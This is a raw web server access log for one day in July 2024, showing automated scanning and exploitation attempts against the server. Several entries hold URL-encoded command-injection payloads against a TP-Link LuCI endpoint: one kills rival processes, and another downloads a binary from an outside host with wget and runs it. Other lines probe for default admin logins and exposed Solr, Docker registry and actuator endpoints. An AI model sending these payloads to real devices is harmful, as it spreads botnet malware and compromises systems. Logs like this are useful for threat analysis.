45.148.10.174 - - [02/Jul/2024:01:26:46 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 952 45.148.10.174 - - [02/Jul/2024:01:26:46 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.95.169.11%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 149.50.103.48 - - [02/Jul/2024:01:29:28 +0200] "GET / HTTP/1.1" 404 952 201.187.80.45 - - [02/Jul/2024:01:47:17 +0200] "GET / HTTP/1.1" 404 952 82.117.197.102 - - [02/Jul/2024:01:56:53 +0200] "GET / HTTP/1.1" 404 952 71.6.232.24 - - [02/Jul/2024:02:02:47 +0200] "GET / HTTP/1.1" 404 952 162.142.125.199 - - [02/Jul/2024:03:15:20 +0200] "GET / HTTP/1.1" 404 952 162.142.125.199 - - [02/Jul/2024:03:15:26 +0200] "GET / HTTP/1.1" 404 952 64.62.156.42 - - [02/Jul/2024:03:44:59 +0200] "GET / HTTP/1.1" 404 952 64.62.156.45 - - [02/Jul/2024:03:45:35 +0200] "GET /favicon.ico HTTP/1.1" 404 952 64.62.156.40 - - [02/Jul/2024:03:45:47 +0200] "GET /?format=json HTTP/1.1" 404 952 45.148.10.174 - - [02/Jul/2024:03:57:42 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 952 45.148.10.174 - - [02/Jul/2024:03:57:42 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.95.169.11%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 198.235.24.253 - - [02/Jul/2024:04:09:04 +0200] "GET / HTTP/1.1" 404 952 176.97.210.250 - - [02/Jul/2024:04:59:53 +0200] "GET / HTTP/1.1" 404 952 45.148.10.174 - - [02/Jul/2024:06:57:39 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 952 45.148.10.174 - - [02/Jul/2024:06:57:39 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.95.169.11%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 117.212.175.118 - - [02/Jul/2024:07:16:59 +0200] "GET /boaform/admin/formLogin?username=admin&psd=admin HTTP/1.0" 404 952 198.235.24.81 - - [02/Jul/2024:07:52:54 +0200] "GET / HTTP/1.0" 404 952 13.64.193.60 - - [02/Jul/2024:08:22:26 +0200] "GET / HTTP/1.1" 404 952 198.23.165.253 - - [02/Jul/2024:10:45:14 +0200] "GET /login.cgi HTTP/1.1" 404 952 10.10.11.43 - - [02/Jul/2024:11:01:46 +0200] "GET / HTTP/1.1" 404 952 45.164.23.130 - - [02/Jul/2024:11:19:18 +0200] "POST /tmUnblock.cgi HTTP/1.1" 404 952 64.227.137.40 - - [02/Jul/2024:11:29:26 +0200] "GET / HTTP/1.1" 404 952 64.227.137.40 - - [02/Jul/2024:11:29:26 +0200] "GET /download/powershell/ HTTP/1.1" 404 952 106.75.65.201 - - [02/Jul/2024:11:37:25 +0200] "GET / HTTP/1.1" 404 952 94.102.56.99 - - [02/Jul/2024:12:09:07 +0200] "GET / HTTP/1.1" 404 952 77.90.7.116 - - [02/Jul/2024:13:13:24 +0200] "GET / HTTP/1.1" 404 952 77.90.7.116 - - [02/Jul/2024:13:13:24 +0200] "GET / HTTP/1.1" 404 952 200.81.185.179 - - [02/Jul/2024:13:51:53 +0200] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 404 952 106.75.66.161 - - [02/Jul/2024:14:04:19 +0200] "GET / HTTP/1.1" 404 952 85.214.21.8 - - [02/Jul/2024:14:06:35 +0200] "GET / HTTP/1.1" 404 952 2.187.188.136 - - [02/Jul/2024:14:23:40 +0200] "GET / HTTP/1.1" 404 952 198.235.24.81 - - [02/Jul/2024:15:04:46 +0200] "GET / HTTP/1.1" 404 952 167.94.138.61 - - [02/Jul/2024:16:36:02 +0200] "GET / HTTP/1.1" 404 952 167.94.138.61 - - [02/Jul/2024:16:36:05 +0200] "GET / HTTP/1.1" 404 952 198.235.24.127 - - [02/Jul/2024:16:37:28 +0200] "GET / HTTP/1.1" 404 952 83.97.73.245 - - [02/Jul/2024:16:41:53 +0200] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 404 952 206.81.18.156 - - [02/Jul/2024:16:45:59 +0200] "GET / HTTP/1.0" 404 952 161.35.203.108 - - [02/Jul/2024:16:45:59 +0200] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 404 952 68.183.68.79 - - [02/Jul/2024:16:45:59 +0200] "GET /query?q=SHOW+DIAGNOSTICS HTTP/1.1" 404 952 68.183.217.226 - - [02/Jul/2024:16:45:59 +0200] "GET /solr/admin/info/system HTTP/1.1" 404 952 46.101.140.147 - - [02/Jul/2024:16:45:59 +0200] "GET /v2/_catalog HTTP/1.1" 404 952 46.101.140.147 - - [02/Jul/2024:16:45:59 +0200] "GET / HTTP/1.1" 404 952 68.183.217.226 - - [02/Jul/2024:16:45:59 +0200] "GET /solr/admin/cores?action=STATUS&wt=json HTTP/1.1" 404 952 77.90.7.116 - - [02/Jul/2024:16:57:03 +0200] "GET / HTTP/1.1" 404 952 77.90.7.116 - - [02/Jul/2024:16:57:03 +0200] "GET / HTTP/1.1" 404 952 45.156.128.49 - - [02/Jul/2024:17:04:55 +0200] "GET /favicon.ico HTTP/1.1" 404 952 83.97.73.245 - - [02/Jul/2024:17:07:24 +0200] "GET /actuator/gateway/routes HTTP/1.1" 404 952 205.210.31.6 - - [02/Jul/2024:17:09:08 +0200] "GET / HTTP/1.1" 404 952 45.148.10.174 - - [02/Jul/2024:17:28:15 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 952 45.148.10.174 - - [02/Jul/2024:17:28:15 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.95.169.11%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 161.35.192.7 - - [02/Jul/2024:19:17:59 +0200] "GET / HTTP/1.0" 404 952 161.35.203.108 - - [02/Jul/2024:19:17:59 +0200] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 404 952 68.183.68.79 - - [02/Jul/2024:19:17:59 +0200] "GET /query?q=SHOW+DIAGNOSTICS HTTP/1.1" 404 952 46.101.140.147 - - [02/Jul/2024:19:17:59 +0200] "GET /v2/_catalog HTTP/1.1" 404 952 68.183.217.226 - - [02/Jul/2024:19:17:59 +0200] "GET /solr/admin/info/system HTTP/1.1" 404 952 46.101.140.147 - - [02/Jul/2024:19:17:59 +0200] "GET / HTTP/1.1" 404 952 68.183.217.226 - - [02/Jul/2024:19:17:59 +0200] "GET /solr/admin/cores?action=STATUS&wt=json HTTP/1.1" 404 952 167.172.176.246 - - [02/Jul/2024:19:29:07 +0200] "GET / HTTP/1.0" 404 952 46.101.140.115 - - [02/Jul/2024:19:29:07 +0200] "GET /solr/admin/info/system HTTP/1.1" 404 952 46.101.134.86 - - [02/Jul/2024:19:29:07 +0200] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 404 952 167.172.100.107 - - [02/Jul/2024:19:29:07 +0200] "GET /v2/_catalog HTTP/1.1" 404 952 64.226.72.76 - - [02/Jul/2024:19:29:07 +0200] "GET / HTTP/1.1" 404 952 161.35.206.181 - - [02/Jul/2024:19:29:07 +0200] "GET /query?q=SHOW+DIAGNOSTICS HTTP/1.1" 404 952 46.101.140.115 - - [02/Jul/2024:19:29:07 +0200] "GET /solr/admin/cores?action=STATUS&wt=json HTTP/1.1" 404 952 104.168.70.165 - - [02/Jul/2024:19:39:51 +0200] "GET / HTTP/1.1" 404 952 45.148.10.174 - - [02/Jul/2024:19:57:23 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 952 45.148.10.174 - - [02/Jul/2024:19:57:23 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.95.169.11%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 13.91.182.218 - - [02/Jul/2024:20:43:10 +0200] "GET /manager/text/list HTTP/1.1" 404 1006 200.81.185.179 - - [02/Jul/2024:20:50:31 +0200] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 404 952 77.90.7.116 - - [02/Jul/2024:21:42:17 +0200] "GET / HTTP/1.1" 404 952 77.90.7.116 - - [02/Jul/2024:21:42:17 +0200] "GET / HTTP/1.1" 404 952 162.142.125.45 - - [02/Jul/2024:21:58:05 +0200] "GET / HTTP/1.1" 404 952 162.142.125.45 - - [02/Jul/2024:21:58:11 +0200] "GET / HTTP/1.1" 404 952 151.235.220.189 - - [02/Jul/2024:22:20:22 +0200] "GET / HTTP/1.1" 404 952 164.90.195.177 - - [02/Jul/2024:22:24:49 +0200] "GET / HTTP/1.1" 404 952 164.90.195.177 - - [02/Jul/2024:22:24:49 +0200] "GET /download/powershell/ HTTP/1.1" 404 952 80.11.116.108 - - [02/Jul/2024:22:49:18 +0200] "GET / HTTP/1.0" 404 952 181.28.148.245 - - [02/Jul/2024:23:01:07 +0200] "GET / HTTP/1.1" 404 952 45.128.232.200 - - [02/Jul/2024:23:16:50 +0200] "POST /goform/set_LimitClient_cfg HTTP/1.1" 404 952 209.38.20.167 - - [02/Jul/2024:23:17:14 +0200] "GET / HTTP/1.1" 404 952 209.38.20.167 - - [02/Jul/2024:23:17:14 +0200] "GET /download/powershell/ HTTP/1.1" 404 952 78.108.177.52 - - [02/Jul/2024:23:37:29 +0200] "GET / HTTP/1.0" 404 952